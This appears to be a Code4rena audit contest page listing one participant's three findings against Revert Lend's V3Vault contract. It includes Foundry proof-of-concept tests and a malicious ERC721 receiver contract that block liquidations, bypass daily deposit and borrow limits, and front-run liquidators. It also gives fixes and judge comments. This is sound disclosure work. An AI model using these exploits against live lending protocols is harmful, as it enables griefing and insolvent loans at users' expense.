Platform: Code4rena
Start Date: 04/03/2024
Pot Size: $88,500 USDC
Total HM: 31
Participants: 105
Period: 11 days
Judge: ronnyx2017
Total Solo HM: 7
Id: 342
League: ETH
Rank: 64/105
Findings: 3
Award: $70.67
🌟 Selected for report: 1
🚀 Solo Findings: 0
🌟 Selected for report: 0xjuan
Also found by: 0rpse, 0x175, 0xAlix2, 0xBugSlayer, 0xloscar01, Ali-_-Y, Arz, CaeraDenoir, JohnSmith, Ocean_Sky, SpicyMeatball, alix40, ayden, falconhoof, givn, iamandreiski, kinda_very_good, nmirchev8, nnez, novamanbg, stackachu, wangxx2026
17.3162 USDC - $17.32
When we transfer nft function onERC721Received
is called on a new owner if it is a smart contract.
Malicious smart contract can revert transaction when onERC721Received
is called.
Which makes impossible to do liquidations.
Check out test I provided below, where we transfer an NFT to malicious smart contract, which will be the NFT owner and borrower. We transfer NFT and set flag to prevent any other NFT being transfered. We interact with V3Vault via malicious smart contract., providing collateral and borrowing some assets. After some time loan become unhealthy and subject to liquidation. We try to liquidate, but transaction gets reverted.
Add this test beside your other tests in test/integration/V3Vault.t.sol
function testRevertOnReceived() external { address revertOnReceived = address(new RevertOnReceived()); _deposit(10000000, WHALE_ACCOUNT); vm.startPrank(TEST_NFT_ACCOUNT); NPM.safeTransferFrom(TEST_NFT_ACCOUNT, revertOnReceived, TEST_NFT); RevertOnReceived(revertOnReceived).borrow(NPM, vault, TEST_NFT); RevertOnReceived(revertOnReceived).setFlag(true); skip(25 days); (uint256 debtShares) = vault.loans(TEST_NFT); vm.startPrank(WHALE_ACCOUNT); USDC.approve(address(vault), 10000000); vm.expectRevert(); vault.liquidate(IVault.LiquidateParams(TEST_NFT, debtShares, 0, 0, WHALE_ACCOUNT, "")); }
And this contract
contract RevertOnReceived is IERC721Receiver{ bool private revertOnReceive; function setFlag(bool flag) external { revertOnReceive = flag; } function borrow( INonfungiblePositionManager npm, V3Vault vault, uint256 tokenId) external { npm.approve(address(vault), tokenId); vault.create(tokenId, address(this)); (,, uint256 collateralValue,,) = vault.loanInfo(tokenId); vault.borrow(tokenId, collateralValue); } function onERC721Received(address, address , uint256 , bytes calldata ) external override returns (bytes4) { if (revertOnReceive) { revert(); } return IERC721Receiver.onERC721Received.selector; } }
Manual review
I suggest to not transfer NFT to user, make a method to withdraw it by user when they need it.
ERC721
#0 - c4-pre-sort
2024-03-18T18:41:21Z
0xEVom marked the issue as sufficient quality report
#1 - c4-pre-sort
2024-03-19T14:55:04Z
0xEVom marked the issue as duplicate of #54
#2 - c4-judge
2024-03-31T16:09:10Z
jhsagd76 marked the issue as satisfactory
🌟 Selected for report: JohnSmith
Also found by: Arz, Aymen0909, BowTiedOriole, DanielArmstrong, FastChecker, KupiaSec, deepplus, kennedy1030, kfx, shaka
49.9968 USDC - $50.00
https://github.com/code-423n4/2024-03-revert-lend/blob/435b054f9ad2404173f36f0f74a5096c894b12b7/src/V3Vault.sol#L1250-L1251 https://github.com/code-423n4/2024-03-revert-lend/blob/435b054f9ad2404173f36f0f74a5096c894b12b7/src/V3Vault.sol#L1262-L1263
Protocol design includes limitiations on how much a user can deposit and borrow per day.
So it is 10% of lent money or dailyLendIncreaseLimitMin
, dailyDebtIncreaseLimitMin
, whichever is greater.
Current implementation is wrong and makes it 110% because of mistake in calculations.
Which means that users are able to deposit/borrow close to 110% amount of current assets.
Issue is in this calculations:
uint256 lendIncreaseLimit = _convertToAssets(totalSupply(), newLendExchangeRateX96, Math.Rounding.Up) * (Q32 + MAX_DAILY_LEND_INCREASE_X32) / Q32;
uint256 debtIncreaseLimit = _convertToAssets(totalSupply(), newLendExchangeRateX96, Math.Rounding.Up) * (Q32 + MAX_DAILY_DEBT_INCREASE_X32) / Q32;
For borrow I used function _setupBasicLoan()
already implemented by you in your tests.
Add this tests beside your other tests in test/integration/V3Vault.t.sol
function testDepositV2() external { vault.setLimits(0, 150000_000000, 0, 10_000000, 0);//10 usdc dailyLendIncreaseLimitMin uint256 balance = USDC.balanceOf(WHALE_ACCOUNT); vm.startPrank(WHALE_ACCOUNT); USDC.approve(address(vault), type(uint256).max); vault.deposit(10_000000 , WHALE_ACCOUNT); skip(1 days); for (uint i; i < 10; ++i) { uint256 assets = vault.totalAssets(); console.log("USDC vault balance: %s", assets); uint amount = assets + assets * 9 / 100;// 109% vault.deposit(amount, WHALE_ACCOUNT); skip(1 days); } uint256 assets = vault.totalAssets(); assertEq(assets, 15902_406811);//so in 10 days we deposited 15k usdc, despite the 10 usdc daily limitation console.log("USDC balance: %s", assets); } function testBorrowV2() external { vault.setLimits(0, 150_000000, 150_000000, 150_000000, 1_000000);// 1 usdc dailyDebtIncreaseLimitMin skip(1 days); //so we can recalculate debtIncreaseLimit again _setupBasicLoan(true);//borrow 8_847206 which is > 1_000000 and > 10% of USDC10_000000 in vault }
Manual review
Fix is simple for _resetDailyLendIncreaseLimit()
uint256 lendIncreaseLimit = _convertToAssets(totalSupply(), newLendExchangeRateX96, Math.Rounding.Up) - * (Q32 + MAX_DAILY_LEND_INCREASE_X32) / Q32; + * MAX_DAILY_LEND_INCREASE_X32 / Q32;
and for _resetDailyDebtIncreaseLimit()
uint256 debtIncreaseLimit = _convertToAssets(totalSupply(), newLendExchangeRateX96, Math.Rounding.Up) - * (Q32 + MAX_DAILY_DEBT_INCREASE_X32) / Q32; + * MAX_DAILY_DEBT_INCREASE_X32 / Q32;
Math
#0 - c4-pre-sort
2024-03-20T16:17:20Z
0xEVom marked the issue as primary issue
#1 - c4-pre-sort
2024-03-20T16:17:23Z
0xEVom marked the issue as sufficient quality report
#2 - c4-sponsor
2024-03-26T17:37:03Z
kalinbas (sponsor) confirmed
#3 - c4-judge
2024-03-31T15:52:04Z
jhsagd76 marked the issue as satisfactory
#4 - c4-judge
2024-04-01T15:34:13Z
jhsagd76 marked the issue as selected for report
#5 - kalinbas
2024-04-09T22:21:07Z
🌟 Selected for report: kfx
Also found by: 0x175, 0xAlix2, 0xjuan, AMOW, Aymen0909, CaeraDenoir, Giorgio, JCN, JecikPo, JohnSmith, Norah, SpicyMeatball, alexander_orjustalex, atoko, erosjohn, falconhoof, givn, grearlake, jnforja, kinda_very_good, lanrebayode77, nmirchev8, shaka, web3Tycoon, zxriptor
3.3501 USDC - $3.35
https://github.com/code-423n4/2024-03-revert-lend/blob/435b054f9ad2404173f36f0f74a5096c894b12b7/src/V3Vault.sol#L696-L698 https://github.com/code-423n4/2024-03-revert-lend/blob/435b054f9ad2404173f36f0f74a5096c894b12b7/src/V3Vault.sol#L990-L991
When users see liquidation transaction in mempool, they may frontrun it and repay just one share to make liquidation transaction fail. Since anyone can repay anyone's loans, malicious user can just grief liquidators or after some time make insolvent loans.
Idea is simple
liquidate()
loans[params.tokenId].debtShares
:function _repay(uint256 tokenId, uint256 amount, bool isShare, bytes memory permitData) internal { (...) uint256 loanDebtShares = loan.debtShares - shares; loan.debtShares = loanDebtShares;
function liquidate(LiquidateParams calldata params) external override returns (uint256 amount0, uint256 amount1) { (...) if (debtShares != params.debtShares) { revert DebtChanged(); }
Malicious users can prevent any loans being liquidated, which can lead to insolvent loans.
Add this test beside your other tests in test/integration/V3Vault.t.sol
function testPreventLiquidation() external { _setupBasicLoan(true); skip(25 days);//skip some time so loan becomes unhealthy (uint256 debtShares) = vault.loans(TEST_NFT);//liquidator gets debtShares needed to liquidate the loan //They send their vault.liquidate transaction() //Suddenly, a malicious user frontruns and repays just one share vm.startPrank(TEST_NFT_ACCOUNT_2); USDC.approve(address(vault), type(uint256).max); vault.repay(TEST_NFT, 1, true);//repay 1 debt share //Then Liquidator's transaction processed, which reverts vm.startPrank(WHALE_ACCOUNT); USDC.approve(address(vault), type(uint256).max); vm.expectRevert(IErrors.DebtChanged.selector); vault.liquidate(IVault.LiquidateParams(TEST_NFT, debtShares, 0, 0, WHALE_ACCOUNT, "")); }
Manual Review
Remove uint256 debtShares;
from LiquidateParams
.
Remove if (debtShares != params.debtShares)
condition function liquidate(...)
.
If loan is unhealthy it should be liquidated, changed debtShares
do not matter.
MEV
#0 - c4-pre-sort
2024-03-18T18:13:55Z
0xEVom marked the issue as sufficient quality report
#1 - c4-pre-sort
2024-03-18T18:14:45Z
0xEVom marked the issue as duplicate of #231
#2 - c4-pre-sort
2024-03-22T12:02:49Z
0xEVom marked the issue as duplicate of #222
#3 - c4-judge
2024-03-31T14:47:29Z
jhsagd76 changed the severity to 2 (Med Risk)
#4 - c4-judge
2024-03-31T16:05:45Z
jhsagd76 marked the issue as satisfactory